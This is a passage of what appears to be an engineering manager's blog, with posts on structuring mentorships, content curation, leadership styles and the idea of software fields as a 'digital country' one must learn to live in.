How do you prefer to receive feedback (Communicated in writing / verbal / immediate or at planned checkpoints)
How much time are you planning to invest on this? (Sets the tone and workload)
- 1h per week for syncs with the mentor plus 4 hours to study
- 1h every two weeks with mentor plus X hours per week to study
What would you like to get out of this relationship? (Goal setting)
- Do you want to master a particular topic or learn in a broader capacity?
- Do you want to learn how to learn about similar topics?
- Do you want to learn how does it applies to your career?
- Or maybe how to teach the subject?

Most of these questions apply to both the mentor and mentee, establishing answers to those questions in a first meeting is a great way to set your relationship up for success. It’s useful to shorten the feedback loop in the beginning of the mentorship, I highly recommend meeting weekly over bi-weekly or monthly. After the relationship is established and is going well it is okay to slow down the cadence if that’s what both parties want.

Not reaching consensus on the last two questions is especially problematic.

Gauging knowledge

More than owning the conversation, it’s highly beneficial for the mentor to ask focused questions and listen to their mentee’s explanation. I particularly like to ask people to teach me what they know about the subject they want to know better since it gives me a very good idea of gaps in their knowledge. Based on this explanation I can come up with a list of things that might be interesting for my mentee to learn about, and more importantly, how deep I can go in my explanation without confusing them.

Not knowing the answers for their questions is also a great opportunity to share how you would approach the challenge of learning that thing yourself. You absolutely shouldn’t pretend to know something you don’t. Not knowing is fine, like your mentee, you are still learning things along the way.

Giving the impression that you know everything will pass the wrong message to your mentee that they should also know everything in order to level up. This is wrong, giving them the confidence to be comfortable with not knowing, and instead focusing on how to ask the right questions and how to find the answers is an investment that pays off a great deal long term.

Sharing knowledge

By now we should have a pretty good idea of how much you can share with your mentee without overwhelming them. At every session you can issue challenges or material to be reviewed and ask your mentee to walk you through their solution. This will bring you back to the gauging knowledge step. These two steps will be repeated until the end of the mentorship.

It’s worth it to double check every few sessions if the mentor/mentee relationship is working out and tweak it accordingly. Please give honest and direct feedback if you feel things are not progressing as you expect.

Last but not least, if you have learned something from your mentee you should absolutely let them know. Sharing with the broader team is also a great way to promote knowledge sharing and building trust.

Hypothetical mentorship situation

Mentee: "I would like to learn about trait objects in Rust."

Mentor: "What are trait objects?"

Mentee: "They are used for dynamic dispatch."

Mentor: "You are right, but what are trait objects exactly?"

Mentee: "I'm not sure, I think..."

This is the perfect moment to pause, you’ve understood how much they know about the topic at hand and now you can issue technical challenges or share literature about the topic. Sharing more than necessary at this point would only have confused the mentee. For example, talking about the Sized marker trait and stack frames, or even vtables or multiple traits. It’s tempting to show all you know about a topic, but resist the urge.

Final thoughts

The best mentorship is the one that caters to each individual and raises their knowledge to the next level as opposed to being a one size fits all. That being said, what they should all have in common is a respectful relationship, honest and direct feedback and celebrating your mentee’s wins.

Recap

Get to know your mentee and align expectations and goals as early as possible followed by gauging their knowledge level through thoughtful questions. Asking your mentee to teach you about a subject is a great way to get an understanding of where they stand. Teach the minimum viable amount in order to get your mentee to the next level and repeat it until the end of the mentorship program.

Be honest when you don’t know something, it is perfectly fine to be transparent about it and use the opportunity to teach how you would approach learning about that subject in question.

Content curation

Tue, 16 Mar 2021 20:37:00 GMT

We live in an age where it has never been easier to have access to content about pretty much every subject of interest to us. This is changing the way we reason about our education system, relationships and ultimately society itself.

Seeing this through the lenses of centralization/decentralization we realize that our world has been slowly moving towards a decentralized structure for content creation and sharing. Social media and search engines have allowed us to reach a wider audience that previously was only possible through mainstream media channels like television, newspapers or magazines.

This shift from content as a scarce resource to an abundance of content changes the way we derive status from it. For example, would you gain status by reading and commenting on something that everyone else can also read and comment for free? Probably not if you don’t have anything to add to the discussion. But what if you could? Enters quality.

This shift from scarcity as a way to achieve status to quality as a way to achieve status has been both fascinating and challenging to me as someone who likes to learn new things constantly. New initiatives like non-fungible tokens (NFTs) are emerging to adapt scarcity and funding to our digital world, but let’s leave that topic aside for a future post.

So, what are my challenges? To put it in simple terms, it has become incredibly hard to know what to read in order to learn something. What are the best resources? How do I know if something is accurate? We have moved from a scarcity of resources to a resource overload.

Is this a bigger problem than what we had before? Does it warrant moving back towards a centralized model? Of course not, but some degree of centralization is needed, and that’s when content curation and curators enter the picture. Having an abundance of content curated by specialists brings the right tension of centralization versus descentralization to the picture and generates value to someone that is trying to learn more from a certain area or industry.

Tracing a parallel from the delivery industry, in order to serve a limited audience well the industry has been moving from centralized fulfillments centers to micro fulfillment centers. Curators are the micro fulfillment centers of specialized knowledge. They serve a limited audience, but they do it well. Universities and newspapers would be our centralized fulfillments centers in this case, with a one-size fits all approach to a broader audience.

Content curators have the tough job of trying to find and appeal to an audience that can derive value from their expertise. Interestingly enough we already have people ready to fill this role, the same people responsible for our content overload problem, creators.

Strong creators already have the trust of a limited audience, they also have an open communication channel through their own creations in order to promote this service. The next step involves creating and moderating communities where people can derive value from each other. Good examples of this new shift towards communities being formed from content curation are Morning Brew or The Generalist.

The near future should bring even more curators across industries, with the biggest ones forming communities and doing collabs. This added value will be monetized in different forms, from premium content to courses or events. How far can we push this concept before a new push towards decentralization arrives?

Leadership styles

Thu, 18 Feb 2021 19:15:00 GMT

Over the years in the industry I have seen a spectrum of leadership styles and every time leadership approaches one end of the spectrum the team morale or ownership tends to suffer. So what are those leadership styles in practice?

On one side we have the visionaries, where the ambition is present but the directions are vague at best. Have you ever faced statements like “Let’s improve customer service” or “Let’s be the best in our area.”? Vision without a plan can work well in the short term as a motivation tool, but the lack of clarity always catches up. It needs to be followed up by a plan.

It’s not wrong for leadership to display ambition towards a product, but a vague direction doesn’t empower problem solvers to actually fulfill this ambition. After all, problem solvers need an actual problem to solve. Having a clear problem statement and a definition of success breeds creativity and ownership.

On the other side we have leaders that go too deep into problem solving without involving the team and end up “delegating solutions”. This has an even worse effect on team morale and growth. Beware of statements like “We will use Kafka” or “We need to migrate X”.

This is usually the style adopted by new leaders that were recognized for their technical skills. It is common for the new lead to feel a big sense of ownership and try to own the entire project or product while still learning how to manage.

Since we are talking about two sides, there must be a healthy middle. So what actionable steps can leadership take to ensure the team grows, feels empowered to solve problems and improve the product?

Set the context

What’s the reason behind high-level decisions? Why should we pursue path “A” instead of “B”? Sharing context is a great way to bring clarity to the team and help individuals make the best decisions for the product. Individuals questioning the path should also be considered healthy.

Identify problem areas

Pointing out opportunities about a particular area and setting success metrics is a great way to empower the team to work on the right problems. From this point onwards the team can explore and figure out the best solution for the problem at hand.

Leverage your network

Identify and invite external stakeholders to do a frank assessment of the team’s work. Making use of your broader network is a great way to ensure that the team will have all the information they need to be successful.

Keep an eye on emerging trends that can influence the product and also pay attention to surrounding opportunities. Leveraging something that another team across the company built or is building is a good example. Partnerships are another great example of leveraging your network and influence.

Ask questions

Sometimes asking the right questions can be more powerful than knowing the answer itself. It shows trust and helps you connect with the broader team. It might even spark innovative thinking.

…

At the end of the day individuals are looking for something that can help them grow and also achieve something they are proud of. Bringing a clear vision to the table, being fair in our assessments and feedback and providing a good environment through context goes a long way to help everyone achieve their goals.

Digital country

Mon, 15 Feb 2021 07:15:00 GMT

In a recent chat with a friend we touched upon the topic of how learning a new language after moving to a new country is much more involved than just learning which words to say and how to say them. We are faced with new cultural references, mannerisms, slangs, rules and regulations. It’s an entirely new context to parse and understand.

I’m originally from Brazil and moving to Canada was no different to me. My English was functional at best and it wasn’t uncommon for me to have trouble expressing myself and spend more time listening rather than talking. Even after considerably improving my English, I had trouble participating in conversations involving music, politics or general cultural references. I still do sometimes.

Back to the topic at hand, having that conversation made me think that the software development industry is not that different from an individual learning a new language. You start to learn and you don’t take a lot of time to grasp the keywords, but as a new person in the field you are faced with different expressions, cultural or technical references and it is just too much. Again, it’s an entirely new context to parse and understand.

The most challenging aspect of it is that you haven’t changed your physical location, so your mind doesn’t have this cue to think “It’s alright, I’m new here and I will have to adapt”. What’s worse, our context keeps evolving every few years. It’s no wonder imposter syndrome is so prevalent in our industry. It’s akin to moving to a new country over and over again, let’s call it a “digital country”.

Being an engineering manager gave me the privilege of interacting with developers with a wide range of skills and experience. Every single one of them had something to learn and struggled while moving to a new digital country. Be it a new framework, programming language or a different field. Sure, you can sometimes bridge your knowledge the same way a Spanish or French speaker might have an easier time learning Portuguese or Italian, but everyone struggles with changes.

The language or framework is just the beginning! What are the accepted patterns and practices? How do I express myself within that new context? This learning process is different for everyone and not taking that in consideration is the difference between good versus bad mentoring or even being harmful to the growth process of your peer.

We have plenty of examples of this change in context or people still transitioning within that context in our industry. A senior developer might ask a trivial question from a frontend developer’s perspective, or a system programmer struggling with web development. Change of frameworks, Django, Rails, Phoenix, Rocket? From dynamic to static languages and vice versa? I’m sure you can think of even more examples.

Rather than judging and applying our own standards for what our peers should know we should do our best to mentor and encourage them to be their best selves.

Be kind with your fellow peers, don’t expect them to have the same cultural and technical references, maybe they just haven’t been in the same digital country that you have been for long enough.